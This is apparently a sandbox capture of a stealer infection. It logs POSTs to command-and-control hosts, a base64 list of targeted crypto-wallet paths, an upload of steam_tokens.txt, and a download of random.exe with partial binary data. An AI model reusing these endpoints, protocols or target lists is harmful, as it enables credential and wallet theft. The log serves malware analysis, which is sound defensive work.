Nov 10, 2024 19:44:23.561804056 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 10, 2024 19:44:23.865140915 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDHIIJKEBGHJJKFIDA Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 10, 2024 19:44:24.642030001 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 10, 2024 19:44:24.722131014 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 2d 2d 0d 0a Data Ascii: ------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="message"wallets------EHJDGCBGDBKJKFHIECBA--
Nov 10, 2024 19:44:25.002341032 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:24 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 10, 2024 19:44:25.005134106 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAAAAAAAAAAAAAAAAAA Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 2d 2d 0d 0a Data Ascii: ------AAAAAAAAAAAAAAAAAAAAContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------AAAAAAAAAAAAAAAAAAAAContent-Disposition: form-data; name="message"files------AAAAAAAAAAAAAAAAAAAA--
Nov 10, 2024 19:44:25.285650969 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 10, 2024 19:44:25.297627926 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHJJEHDHCAAKFIIDGI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="file"------ECGHJJEHDHCAAKFIIDGI--
Nov 10, 2024 19:44:26.068789005 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 10, 2024 19:44:26.095520020 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECFIJDAAAKECBFCGHI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="message"ybncbhylepme------DAECFIJDAAAKECBFCGHI--
Nov 10, 2024 19:44:26.383162022 CET	271	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 10, 2024 19:44:30.590374947 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAAAKFCAFIIDHIDGHIE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 2d 2d 0d 0a Data Ascii: ------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FBAAAKFCAFIIDHIDGHIE--
Nov 10, 2024 19:44:31.361008883 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49762	185.215.113.16	80	7300	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:44:26.449997902 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 10, 2024 19:44:27.350182056 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:44:27 GMT Content-Type: application/octet-stream Content-Length: 3265024 Last-Modified: Sun, 10 Nov 2024 18:23:15 GMT Connection: keep-alive ETag: "6730fa13-31d200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 e0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@22@WkL11 @.rsrc@.idata @doumoevv ++@glhzrtfc11@.taggant01"1@
Nov 10, 2024 19:44:27.350223064 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:44:27.350233078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:44:27.350260019 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:44:27.350277901 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:44:27.350306988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:44:27.350317001 CET	1236	IN	Data Raw: 3e 9a 3b ca 24 18 3d e2 c9 19 08 af 3d c0 3f 4a a5 db 80 e2 29 12 66 28 71 3e 4b 4f 72 56 a3 92 3e 9a 3b ca 04 18 3d e2 c9 19 08 af 3d c0 3f 4a ad db 80 e2 29 82 6b 28 71 3e 2b 4f 72 56 a3 f2 3e 9a 3b ca e4 18 3d e2 c9 19 08 af 3d c0 3f 4a b5 db Data Ascii: >;$==?J)f(q>KOrV>;==?J)k(q>+OrV>;==?J)Zl(q>OrVR?;==?J)l(q>NrV?;==?J)je(q>NrV@;==?J)n(q>NrVr@;d==?J)j(q>NrV@;D==?J
Nov 10, 2024 19:44:27.350339890 CET	1236	IN	Data Raw: 29 ea 69 28 71 3e 8b 4a 72 56 a3 d2 4c 9a 3b ca 44 13 3d e2 c9 19 08 af 3d c0 4b 4a 25 dc 80 e2 29 ee 70 28 71 3e 6b 4a 72 56 a3 32 4d 9a 3b ca 24 13 3d e2 c9 19 08 af 3d c0 4b 4a 39 dc 80 e2 29 ba 69 28 71 3e 4b 4a 72 56 a3 92 4d 9a 3b ca 04 13 Data Ascii: )i(q>JrVL;D==KJ%)p(q>kJrV2M;$==KJ9)i(q>KJrVM;==WJM)p(q>+JrVM;==KJm)*i(q>JrVRN;==OJ)g(q>IrVN;==CJ)zm(q>IrVO;==OJ)"k(q>IrVrO;d=
Nov 10, 2024 19:44:27.350349903 CET	636	IN	Data Raw: c9 19 08 af 3d c0 5f 4a 79 e1 80 e2 29 52 6b 28 71 3e ab 45 72 56 a3 72 5b 9a 3b ca 64 0e 3d e2 c9 19 08 af 3d c0 77 4a a1 e1 80 e2 29 9a 6e 28 71 3e 8b 45 72 56 a3 d2 5b 9a 3b ca 44 0e 3d e2 c9 19 08 af 3d c0 4b 4a e1 e1 80 e2 29 72 6f 28 71 3e Data Ascii: =_Jy)Rk(q>ErVr[;d==wJ)n(q>ErV[;D==KJ)ro(q>kErV2\;$==CJ)"h(q>KErV\;==CJ)f(q>+ErV\;==CJ)rf(q>ErVR];==CJ)Jj(q>DrV];==KJ%)rl(q>
Nov 10, 2024 19:44:27.350379944 CET	1236	IN	Data Raw: 04 0c 3d e2 c9 19 08 af 3d c0 53 4a 29 e2 80 e2 29 42 6f 28 71 3e 2b 43 72 56 a3 f2 62 9a 3b ca e4 0c 3d e2 c9 19 08 af 3d c0 43 4a 45 e2 80 e2 29 9a 68 28 71 3e 0b 43 72 56 a3 52 63 9a 3b ca c4 0c 3d e2 c9 19 08 af 3d c0 43 4a 51 e2 80 e2 29 e2 Data Ascii: ==SJ))Bo(q>+CrVb;==CJE)h(q>CrVRc;==CJQ)k(q>BrVc;==kV#'W;;4"=V#&W;;4"=+V#&W;;4"={Ja)Rh(q>BrV2e;T==zJ)*l(q>{BrVe;4==KV#&W;;4"==JUX5
Nov 10, 2024 19:44:27.355401993 CET	1236	IN	Data Raw: 70 55 3b 4b 75 56 81 e2 fd 9b 2f 33 59 be 51 e5 70 22 08 af 3d ab c6 ce c7 e1 2c f2 c7 16 c9 28 75 a6 02 e9 04 5b 80 e2 d6 65 11 e3 fb 9b 43 65 31 5a 8b ca 5d 69 3e e2 f3 1a 44 a9 77 ca 41 27 71 e1 01 41 ce 18 40 e2 3c 22 08 af 3d 22 08 af 3d 22 Data Ascii: pU;KuV/3YQp"=,(u[eCe1Z]i>DwA'qA@<"="="=,(u[eCe1Zi>DwA'qA@<"="="=e@U,1?WAFK^WzAm?Z@4"="=uV="="=BHv'm/9G7e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49815	185.215.113.43	80	4076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:04.539988995 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 10, 2024 19:45:05.442806959 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:45:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49826	185.215.113.43	80	4076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:06.955462933 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 10, 2024 19:45:07.867213011 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:45:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 35 33 34 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 35 33 36 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 33 36 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 33 36 32 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 [TRUNCATED] Data Ascii: 1c5 